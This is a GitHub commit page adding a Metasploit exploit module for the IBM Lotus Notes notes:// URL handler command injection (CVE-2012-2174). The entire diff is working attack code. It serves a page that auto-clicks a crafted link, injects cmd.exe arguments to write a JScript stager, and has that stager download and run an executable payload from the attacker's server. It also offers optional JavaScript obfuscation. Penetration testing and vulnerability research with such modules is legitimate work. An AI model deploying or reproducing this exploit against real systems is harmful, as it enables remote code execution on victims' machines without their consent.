Skip to content

Commit f7a8434

Browse files
committed
Merge branch 'notes_handler_cmdinject' of git://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-notes_handler_cmdinject
2 parents 179e4cf + 4c897c5 commit f7a8434

File tree

1 file changed

+189
-0
lines changed

1 file changed

+189
-0
lines changed
Lines changed: 189 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,189 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::EXE
15+
include Msf::Exploit::FileDropper
16+
17+
def initialize(info={})
18+
super(update_info(info,
19+
'Name' => "IBM Lotus Notes Client URL Handler Command Injection",
20+
'Description' => %q{
21+
This modules exploits a command injection vulnerability in the URL handler for
22+
for the IBM Lotus Notes Client <= 8.5.3. The registered handler can be abused with
23+
an specially crafted notes:// URL to execute arbitrary commands with also arbitrary
24+
arguments. This module has been tested successfully on Windows XP SP3 with IE8,
25+
Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'Moritz Jodeit', # Vulnerability discovery
31+
'Sean de Regge', # Vulnerability analysis
32+
'juan vazquez' # Metasploit
33+
],
34+
'References' =>
35+
[
36+
[ 'CVE', '2012-2174' ],
37+
[ 'OSVDB', '83063' ],
38+
[ 'BID', '54070' ],
39+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-154/' ],
40+
[ 'URL', 'http://pwnanisec.blogspot.com/2012/10/exploiting-command-injection.html' ],
41+
[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21598348' ]
42+
],
43+
'Payload' =>
44+
{
45+
'Space' => 2048,
46+
'StackAdjustment' => -3500
47+
},
48+
'DefaultOptions' =>
49+
{
50+
'EXITFUNC' => "none",
51+
'InitialAutoRunScript' => 'migrate -k -f'
52+
},
53+
'Platform' => 'win',
54+
'Targets' =>
55+
[
56+
[ 'Automatic', {} ]
57+
],
58+
'Privileged' => false,
59+
'DisclosureDate' => "Jun 18 2012",
60+
'DefaultTarget' => 0))
61+
62+
register_options(
63+
[
64+
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
65+
], self.class)
66+
end
67+
68+
def exploit
69+
@exe_name = rand_text_alpha(2) + ".exe"
70+
@stage_name = rand_text_alpha(2) + ".js"
71+
super
72+
end
73+
74+
def on_new_session(session)
75+
if session.type == "meterpreter"
76+
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
77+
end
78+
79+
@dropped_files.delete_if do |file|
80+
win_file = file.gsub("/", "\\\\")
81+
if session.type == "meterpreter"
82+
begin
83+
wintemp = session.fs.file.expand_path("%TEMP%")
84+
win_file = "#{wintemp}\\#{win_file}"
85+
# Meterpreter should do this automatically as part of
86+
# fs.file.rm(). Until that has been implemented, remove the
87+
# read-only flag with a command.
88+
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
89+
session.fs.file.rm(win_file)
90+
print_good("Deleted #{file}")
91+
true
92+
rescue ::Rex::Post::Meterpreter::RequestError
93+
print_error("Failed to delete #{win_file}")
94+
false
95+
end
96+
97+
end
98+
end
99+
100+
end
101+
102+
def on_request_uri(cli, request)
103+
104+
if request.uri =~ /\.exe$/
105+
return if ((p=regenerate_payload(cli))==nil)
106+
register_file_for_cleanup("#{@stage_name}") unless @dropped_files and @dropped_files.include?("#{@stage_name}")
107+
register_file_for_cleanup("#{@exe_name}") unless @dropped_files and @dropped_files.include?("#{@exe_name}")
108+
data = generate_payload_exe({:code=>p.encoded})
109+
print_status("Sending payload")
110+
send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
111+
return
112+
end
113+
114+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
115+
if datastore['SSL']
116+
schema = "https"
117+
else
118+
schema = "http"
119+
end
120+
uri = "#{schema}://#{my_host}"
121+
uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.exe"
122+
123+
script = "var w=new ActiveXObject('wscript.shell');"
124+
script << "w.CurrentDirectory=w.ExpandEnvironmentStrings('\\%TEMP\\%');"
125+
script << "var x=new ActiveXObject('Microsoft.XMLHTTP');"
126+
script << "x.open('GET','#{uri}', false);"
127+
script << "x.send();"
128+
script << "var s=new ActiveXObject('ADODB.Stream');"
129+
script << "s.Mode=3;"
130+
script << "s.Type=1;"
131+
script << "s.Open();"
132+
script << "s.Write(x.responseBody);"
133+
script << "s.SaveToFile('#{@exe_name}',2);"
134+
script << "w.Run('#{@exe_name}');"
135+
136+
vmargs = "/q /s /c echo #{script} > %TEMP%\\\\#{@stage_name}& start cscript %TEMP%\\\\#{@stage_name}& REM"
137+
138+
link_id = rand_text_alpha(5 + rand(5))
139+
140+
js_click_link = %Q|
141+
function clickLink(link) {
142+
var cancelled = false;
143+
144+
if (document.createEvent) {
145+
var event = document.createEvent("MouseEvents");
146+
event.initMouseEvent("click", true, true, window,
147+
0, 0, 0, 0, 0,
148+
false, false, false, false,
149+
0, null);
150+
cancelled = !link.dispatchEvent(event);
151+
}
152+
else if (link.fireEvent) {
153+
cancelled = !link.fireEvent("onclick");
154+
}
155+
156+
if (!cancelled) {
157+
window.location = link.href;
158+
}
159+
}
160+
|
161+
162+
if datastore['OBFUSCATE']
163+
js_click_link = ::Rex::Exploitation::JSObfu.new(js_click_link)
164+
js_click_link.obfuscate
165+
js_click_link_fn = js_click_link.sym('clickLink')
166+
else
167+
js_click_link_fn = 'clickLink'
168+
end
169+
170+
171+
html = <<-EOS
172+
<html>
173+
<head>
174+
<script>
175+
#{js_click_link}
176+
</script>
177+
</head>
178+
<body onload="#{js_click_link_fn}(document.getElementById('#{link_id}'));">
179+
<a id="#{link_id}" href="notes://#{rand_text_alpha_upper(3+rand(3))}/#{rand_text_alpha_lower(3+rand(3))} -RPARAMS java -vm c:\\windows\\system32\\cmd.exe -vmargs #{vmargs}"></a>
180+
</body>
181+
</html>
182+
EOS
183+
184+
print_status("Sending html")
185+
send_response(cli, html, {'Content-Type'=>'text/html'})
186+
187+
end
188+
189+
end

0 commit comments

Comments
 (0)